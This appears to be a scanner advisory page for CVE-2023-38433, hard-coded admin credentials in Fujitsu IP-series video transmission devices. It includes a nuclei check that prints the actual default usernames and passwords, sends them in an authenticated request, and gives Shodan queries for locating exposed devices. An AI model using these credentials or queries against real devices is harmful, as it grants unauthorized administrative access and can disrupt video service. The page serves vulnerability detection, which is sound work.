Fujitsu IP Series - Hardcoded Credentials

highseverity

7.5CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Fujitsu Real-time Video Transmission Gear “IP series” use hard-coded credentials, which may allow a remote unauthenticated attacker to initialize or reboot the products, and as a result, terminate the video transmission. The credentials cannot be changed by the end-user and provide administrative access to the devices.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the device, potentially resulting in further compromise of the network.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /b_download/index.html
Positive when: contains "Field Support" AND status 200

Run it with nuclei: nuclei -id CVE-2023-38433 -u <target>

The full check

id: CVE-2023-38433

info:
  name: Fujitsu IP Series - Hardcoded Credentials
  author: AdnaneKhan
  severity: high
  description: |
    Fujitsu Real-time Video Transmission Gear “IP series” use hard-coded credentials, which may allow a remote unauthenticated attacker to initialize or reboot the products, and as a result, terminate the video transmission. The credentials cannot be changed by the end-user and provide administrative access to the devices.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the device, potentially resulting in further compromise of the network.
  reference:
    - https://www.praetorian.com/blog/fujitsu-ip-series-hard-coded-credentials
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38433
    - https://www.cisa.gov/news-events/ics-advisories/icsa-23-248-01
    - https://www.fujitsu.com/global/products/computing/peripheral/video/download
    - https://jvn.jp/en/jp/JVN95727578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-38433
    cwe-id: CWE-798
    epss-score: 0.03722
    epss-percentile: 0.89888
    cpe: cpe:2.3:o:fujitsu:ip-he950e_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: fujitsu
    product: ip-he950e_firmware
    shodan-query:
      - '"Server: thttpd/2.25b 29dec2003" content-length:1133'
      - '"server: thttpd/2.25b 29dec2003" content-length:1133'
    max-req: 1
  tags: cve2023,cve,fujitsu,ip-series,vkev,vuln

http:
  - raw:
      - |
        GET /b_download/index.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: pitchfork
    payloads:
      username:
        - fedish264pro
        - fedish265pro
      password:
        - h264pro@broadsight
        - h265pro@broadsight

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Field Support'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from